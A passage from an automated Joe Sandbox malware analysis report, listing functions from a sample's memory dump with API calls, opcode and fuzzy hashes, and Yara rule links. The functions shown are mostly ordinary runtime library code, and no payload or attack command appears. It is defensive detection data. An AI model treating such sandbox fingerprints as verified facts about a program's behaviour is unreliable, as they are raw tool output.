Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: d7fb16596b4ef21f7a469aa46487635becee01e4797824a6a01394844e7638c1
Instruction ID: 6a8b8d575fbbac450658a9c0eff5f34c453665c919548875ff63f793f14e0c5e
Opcode Fuzzy Hash: d7fb16596b4ef21f7a469aa46487635becee01e4797824a6a01394844e7638c1
Instruction Fuzzy Hash: F651C071E01A06AFDB259F14DC41BBA77A7EF14300F14452FE81687B95E731AD81CB91

Function 006A8380 Relevance: 6.2, APIs: 4, Instructions: 155libraryloaderCOMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(0000011C,?,882874E3), ref: 006A83F9
GetModuleHandleA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 006A8460
GetProcAddress.KERNEL32(00000000), ref: 006A8467

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProcVersion
String ID:
API String ID: 3310240892-0
Opcode ID: 1c7d89780ffb1e7b71bbd56e8d1850fc9d3183a0ba4cd1c6b7e095dd7a003a54
Instruction ID: fe46be56ddf53fd89b3092a347b8c8e1c20ac9e617a939082706396f004d038d
Opcode Fuzzy Hash: 1c7d89780ffb1e7b71bbd56e8d1850fc9d3183a0ba4cd1c6b7e095dd7a003a54
Instruction Fuzzy Hash: 8651E471D002049FDB54EB68CD49BEDBB76EB46310F5042A9E809A7381EF349E84CF95

Function 006D4C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 006D4C66
TypeidsEqual.LIBVCRUNTIME ref: 006D4C8B
PMDtoOffset.LIBCMT ref: 006D4CA1
PMDtoOffset.LIBCMT ref: 006D4D22

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: 3c8990675f6afbae3a381b385dbeb32b0af2f5981b75eeade5609b918d927202
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: 57514635E042099FDF11CF68C4816EEBBF6EF15354B14449AE851A7351DB32AE45CB90

Function 006A2EC0 Relevance: 6.1, APIs: 4, Instructions: 132threadCOMMONLIBRARYCODE

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 006A2F5F
GetCurrentThreadId.KERNEL32 ref: 006A2F7E
__Mtx_unlock.LIBCPMT ref: 006A2FCC
__Cnd_broadcast.LIBCPMT ref: 006A2FE3

Part of subcall function 006BC6AC: mtx_do_lock.LIBCPMT ref: 006BC6B4

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcastCurrentThreadmtx_do_lock
String ID:
API String ID: 3471820992-0
Opcode ID: c8004d11542aa9c9207fc3ea347dffc67ba85474811e0ec49c5efbfd22c7a95a
Instruction ID: ced980311099080f8a00be102bc3f67b06d6dafd6be33957b21daa24687d227e
Opcode Fuzzy Hash: c8004d11542aa9c9207fc3ea347dffc67ba85474811e0ec49c5efbfd22c7a95a
Instruction Fuzzy Hash: 0841CEB0A416159FDB20EF64C944B9AB7E9FF16320F00462DE816D7790FB35EA05CB91

Function 006E5FCE Relevance: 6.1, APIs: 4, Instructions: 132fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 006E609E
_free.LIBCMT ref: 006E60C7
SetEndOfFile.KERNEL32(00000000,006E1A0A,00000000,006DAC92,?,?,?,?,?,?,?,006E1A0A,006DAC92,00000000), ref: 006E60F9
GetLastError.KERNEL32(?,?,?,?,?,?,?,006E1A0A,006DAC92,00000000,?,?,?,?,00000000), ref: 006E6115

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: _free$ErrorFileLast
String ID:
API String ID: 1547350101-0
Opcode ID: 25944576e4f451bcf2a36e7819a87aa2b03ae36ddd7f2af1307589c9a57de68c
Instruction ID: dd16d41191b2c983e603f52ee6b0c92c56eb80799818446011db5ce7074e4555
Opcode Fuzzy Hash: 25944576e4f451bcf2a36e7819a87aa2b03ae36ddd7f2af1307589c9a57de68c
Instruction Fuzzy Hash: A441D472D017959BDB616BBACE02BDE3767EF643A0F140119F814E7392EA30C8418726

Function 006C2CFC Relevance: 6.1, APIs: 4, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::InitializeRMBuffers.LIBCMT ref: 006C2D0F

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: BuffersConcurrency::details::InitializeManager::Resource
String ID:
API String ID: 3433162309-0
Opcode ID: b0624ee7dbb7837bc773f76441c0800db3b7f532c6589742dc36b2112c22d98f
Instruction ID: bf68082625f0038abdcabb3ec34d8ffeef51d7eaac180e8151014818780cfe35
Opcode Fuzzy Hash: b0624ee7dbb7837bc773f76441c0800db3b7f532c6589742dc36b2112c22d98f
Instruction Fuzzy Hash: 4531E575A0020ADFCF10EF94C490BBA7BBAEF54714F1404AEDD06AB346DA70A945DBA1

Function 006DD94F Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 006D69CC: _free.LIBCMT ref: 006D69DA

Part of subcall function 006DE926: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,00000000,?,006E4DC0,?,00000000,00000000), ref: 006DE9C8

GetLastError.KERNEL32 ref: 006DD9B7
__dosmaperr.LIBCMT ref: 006DD9BE
GetLastError.KERNEL32(?,?,?,?,?,?,?), ref: 006DD9FD
__dosmaperr.LIBCMT ref: 006DDA04

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide_free
String ID:
API String ID: 167067550-0
Opcode ID: 60b80adddcbec57171fd3a67e725f58cd0963003ddaba215ccd2a55b71d0ac01
Instruction ID: 752abfd04c08077213fc5f82e6be6f816e54ce428db6ea8c77e918505eaad1de
Opcode Fuzzy Hash: 60b80adddcbec57171fd3a67e725f58cd0963003ddaba215ccd2a55b71d0ac01
Instruction Fuzzy Hash: 50219071E04605BFDB60BF65DC81D6BB7AAEF00364710851AF8299B351EB31EC4187A1

Function 006D0A98 Relevance: 6.1, APIs: 4, Instructions: 80threadCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(?,00000000,?), ref: 006D0AE9
Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 006D0AD1

Part of subcall function 006C8F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 006C8F50

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 006D0B4C
SwitchToThread.KERNEL32(00000005,00000004,00000000,?,?,?,?,?,?,?,006FF4C0), ref: 006D0B51

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Context$Event$Base::Concurrency::details::$Trace$SwitchThreadThrow
String ID:
API String ID: 2734100425-0
Opcode ID: d6a0805b59cecaa0dc9525b5016d6869c0af4461d8bec2fa86ed914e01114faf
Instruction ID: 17a7d7cb891870bf5a26f1798d811cfeec6ab36403854b6a00a931f9c8068b97
Opcode Fuzzy Hash: d6a0805b59cecaa0dc9525b5016d6869c0af4461d8bec2fa86ed914e01114faf
Instruction Fuzzy Hash: 1221D471B00218AFE710E758CC45EBEB7AEEF48360F14401EF616E3392CB70AD018AA5

Function 006C9C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 006C9C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 006C9CE8
std::bad_exception::bad_exception.LIBCMT ref: 006C9CFE
std::bad_exception::bad_exception.LIBCMT ref: 006C9D6A

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: 74b969249e24d7305eada6db016a3ee19720a7cbc70653d03e525f829ef198ef
Instruction ID: 3fddb1bcc9951d5b1bb0cd3a46001b51def9532ae51675064893e0fb9c8ece60
Opcode Fuzzy Hash: 74b969249e24d7305eada6db016a3ee19720a7cbc70653d03e525f829ef198ef
Instruction Fuzzy Hash: 072192769046199FCB44EF64D48AEFDB7B6EF05710B20406DF102BB252EB316D41CB65

Function 006BF2ED Relevance: 6.1, APIs: 4, Instructions: 55timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 006BF30F

Part of subcall function 006BF4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 006C5486

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 006BF330

Part of subcall function 006C01B2: Concurrency::details::ReferenceLoadLibrary.LIBCONCRT ref: 006C01CE

Concurrency::details::GetSharedTimerQueue.LIBCONCRT ref: 006BF34C
Concurrency::details::platform::__CreateTimerQueueTimer.LIBCMT ref: 006BF353

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Timer$Scheduler$Base::LibraryLoadQueue$AsyncConcurrency::details::platform::__ContextCreateCurrentDefaultReferenceRegisterShared
String ID:
API String ID: 1684785560-0
Opcode ID: 8fbae318861c23cf90b1d3bb596132d1f6f386ba83b28ae00b775c7d70476d91
Instruction ID: 8613f05cdcb19117857588d27141cb278dd550402bc925fd2b57f4e560c1d7e2
Opcode Fuzzy Hash: 8fbae318861c23cf90b1d3bb596132d1f6f386ba83b28ae00b775c7d70476d91
Instruction Fuzzy Hash: 4601D6F2500305ABDB20AF68CC81DEBFBEAEF11354B10453EF55592262D771D98487E5

Function 006D33C1 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 006D33DB
Concurrency::details::VirtualProcessor::ServiceMark.LIBCMT ref: 006D33EF
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 006D3407
Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 006D341F

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Virtual$Node::ProcessorSchedulingWork$FindItemItem::MarkNextProcessor::Service
String ID:
API String ID: 78362717-0
Opcode ID: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction ID: dce9e19cdeaac8154923aac0e51ca63883827c26b2dff74a1a01bb60ca650545
Opcode Fuzzy Hash: ed5c3284882ece478fbb3367f1f8f5dbd69f78bf790bb9c4c006e6817b181867
Instruction Fuzzy Hash: 1801D632E00524A7CF16EE558841EEF77EBDF54350F10001BFC12AB382DA71EE1196A2

Function 006DB83B Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,006DB9A0,00000000,?,006E1FAB,00000000,00000000,?,?,00000000,00000000,00000001,00000000), ref: 006DB851
GetLastError.KERNEL32(?,006E1FAB,00000000,00000000,?,?,00000000,00000000,00000001,00000000,00000000,?,006DB9A0,00000000,00000104,?), ref: 006DB85B
__dosmaperr.LIBCMT ref: 006DB862

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: d8771d27db9655fe8c6cce01e4ea2ce9f6592cac90414b87fa4aeb83023c49f8
Instruction ID: 26aadf6a9950048f1273d503677f238b4a18cd84574fd65591f3fc3fdd019752
Opcode Fuzzy Hash: d8771d27db9655fe8c6cce01e4ea2ce9f6592cac90414b87fa4aeb83023c49f8
Instruction Fuzzy Hash: 9BF04B32A00115FB9F205FA2DC0899ABF6FFF443A17019116F51D87625DB31E821E7D0

Function 006DB8A4 Relevance: 6.0, APIs: 4, Instructions: 44COMMON

Download Yara Rule

APIs

GetFullPathNameW.KERNEL32(?,?,00000000,00000000,006DB9A0,00000000,?,006E1F36,00000000,00000000,006DB9A0,?,?,00000000,00000000,00000001), ref: 006DB8BA
GetLastError.KERNEL32(?,006E1F36,00000000,00000000,006DB9A0,?,?,00000000,00000000,00000001,00000000,00000000,?,006DB9A0,00000000,00000104), ref: 006DB8C4
__dosmaperr.LIBCMT ref: 006DB8CB

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: ErrorFullLastNamePath__dosmaperr
String ID:
API String ID: 2398240785-0
Opcode ID: 3d404dead949fc0c564c1eaff55aee55627555d60929bb0a4a1004f5624eca96
Instruction ID: 857435c87268ebad3f6fcb8377a8714d3bf8dddf80af350302c68a64acfa3b7e
Opcode Fuzzy Hash: 3d404dead949fc0c564c1eaff55aee55627555d60929bb0a4a1004f5624eca96
Instruction Fuzzy Hash: C7F0AD32A00145FBCB205FA2DC0899ABF6BFF453A07019116F918C7325DB31E820D7D0

Function 006C5005 Relevance: 6.0, APIs: 4, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 006BFF66: TlsGetValue.KERNEL32(?,?,006BF4E7,006BF314,?,?), ref: 006BFF6C

Concurrency::details::InternalContextBase::LeaveScheduler.LIBCONCRT ref: 006C502F

Part of subcall function 006CE30E: Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 006CE335
Part of subcall function 006CE30E: Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 006CE34E
Part of subcall function 006CE30E: Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 006CE3C4
Part of subcall function 006CE30E: Concurrency::details::SchedulerBase::DeferredGetInternalContext.LIBCONCRT ref: 006CE3CC

Concurrency::details::SchedulerBase::ReferenceForAttach.LIBCONCRT ref: 006C503D
Concurrency::details::SchedulerBase::GetExternalContext.LIBCMT ref: 006C5047
Concurrency::details::ContextBase::PushContextToTls.LIBCMT ref: 006C5051

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::Context$InternalScheduler$AttachAvailableBlockingDeferredExternalFindLeaveMakeNestingPrepareProcessor::PushReferenceValueVirtualWork
String ID:
API String ID: 2616382602-0
Opcode ID: 9a92dabfdf591103678229895803b38fa7693f399c8fb3bee9b997cb60bb2cf0
Instruction ID: 4754ed54ca0070ea41f2871a4c1a8cfa6ba0aff3e038367065c02134fbb5dac8
Opcode Fuzzy Hash: 9a92dabfdf591103678229895803b38fa7693f399c8fb3bee9b997cb60bb2cf0
Instruction Fuzzy Hash: 1BF0223170052927CA21B765C816EBEB66BCF81710B00002EF80287351DF64AE448BCA

Function 006C9510 Relevance: 6.0, APIs: 4, Instructions: 31COMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::CurrentContext.LIBCMT ref: 006C9519

Part of subcall function 006BF4CB: Concurrency::details::SchedulerBase::GetDefaultScheduler.LIBCONCRT ref: 006C5486

Concurrency::details::ContextBase::CancelCollection.LIBCONCRT ref: 006C953D
Concurrency::details::_TaskCollectionBase::_FinishCancelState.LIBCMT ref: 006C9550
Concurrency::details::ContextBase::CancelStealers.LIBCMT ref: 006C9559

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038623135.0000000000704000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038637003.0000000000705000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038651759.0000000000709000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_4qIl08vrFY.jbxd

Yara matches

Similarity

API ID: Base::Concurrency::details::$CancelContextScheduler$Collection$Base::_Concurrency::details::_CurrentDefaultFinishStateStealersTask
String ID:
API String ID: 218105897-0
Opcode ID: 286b84610833cc548c653b23f9a84c5695ef3105fb3579eb3866e9586b336a7e
Instruction ID: f24bc3ffefadbb5984f5a7b1fbf3c95323a739b6fc6df82e2a5ff0d36470da46
Opcode Fuzzy Hash: 286b84610833cc548c653b23f9a84c5695ef3105fb3579eb3866e9586b336a7e
Instruction Fuzzy Hash: 32F0A071600A205EE7B2ABA88815FBA23D7DF40711F00C41EE41B97282CE24E942CFA4

Function 006E6ACF Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(006A87A0,0000000F,006FFB20,00000000,006A87A0,?,006E51BA,006A87A0,00000001,006A87A0,006A87A0,?,006E0095,00000000,?,006A87A0), ref: 006E6AE6
GetLastError.KERNEL32(?,006E51BA,006A87A0,00000001,006A87A0,006A87A0,?,006E0095,00000000,?,006A87A0,00000000,006A87A0,?,006E05E9,006A87A0), ref: 006E6AF2

Part of subcall function 006E6AB8: CloseHandle.KERNEL32(FFFFFFFE,006E6B02,?,006E51BA,006A87A0,00000001,006A87A0,006A87A0,?,006E0095,00000000,?,006A87A0,00000000,006A87A0), ref: 006E6AC8

___initconout.LIBCMT ref: 006E6B02

Part of subcall function 006E6A7A: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,006E6AA9,006E51A7,006A87A0,?,006E0095,00000000,?,006A87A0,00000000), ref: 006E6A8D

WriteConsoleW.KERNEL32(006A87A0,0000000F,006FFB20,00000000,?,006E51BA,006A87A0,00000001,006A87A0,006A87A0,?,006E0095,00000000,?,006A87A0,00000000), ref: 006E6B17

Memory Dump Source

Source File: 00000000.00000002.2038559070.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.2038546489.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038591924.00000000006F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2038609639.0000000000702000.00000004.00000001.01000000.00000003.sdmpDownload File
